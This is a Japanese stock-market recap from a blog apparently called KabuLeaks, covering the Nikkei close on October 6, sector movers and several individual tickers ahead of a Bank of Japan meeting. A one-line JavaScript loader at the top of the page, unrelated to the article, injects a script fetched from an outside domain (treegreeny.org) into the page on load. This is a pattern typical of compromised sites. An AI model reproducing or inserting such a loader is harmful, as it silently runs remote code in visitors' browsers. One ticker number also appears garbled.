;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/6 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/6 大引け】

本日の日経平均株価は180円高と5日続伸。後場の日経平均は寄りは売りが先行。売り一巡後は一時持ち直すしたが、急ピッチな戻り相場への警戒感、明日の日銀会合を控えての利益確定の動きも出て、大引けにかけて伸び悩んだ。業種別では、水産・農林業、鋼鉄、倉庫運輸関連、情報・通信業、精密機器などが上昇率上位に。一方、ゴム製品、繊維製品、金属製品、小売業、その他金融業などが値下がりした。

個別では、特段の材料は確認されていないものの、値動きの軽い中小型株【8201】さが美、【4080】田中化学研究所、【3646】駅探、【8462】フューチャーベンチャーキャピタルなど急伸したほか、シンガポールのウィズラーン社買収合意を発表した【3681】ブイキューブ、バークレイズ証券が投資判断を新規に「オーバーウェイト」、目標株価を2740円としてカバレッジを開始していることが買い材料に【13773】サカタのタネなどが上昇した。一方、TPP関連、前日の合意報道も材料出尽くしか【9941】太洋物産、【2538】ジャパン・フード&リカー・アライアンスなどが大幅安となった。

明日はいよいよ日銀会合の結果発表。現状どちらの可能性もあるが、現状維持の場合は一旦は期待先行で買われていた銘柄は利食い売りに押される可能性ある。ただ、再度月末に開催される日銀会合での追加緩和への期待あり、発表後に売られる展開なら絶好の押し目チャンスに繋がる可能性もありそうだ。どちらにしても会見後の先物動向などの動きには注視しておきたい!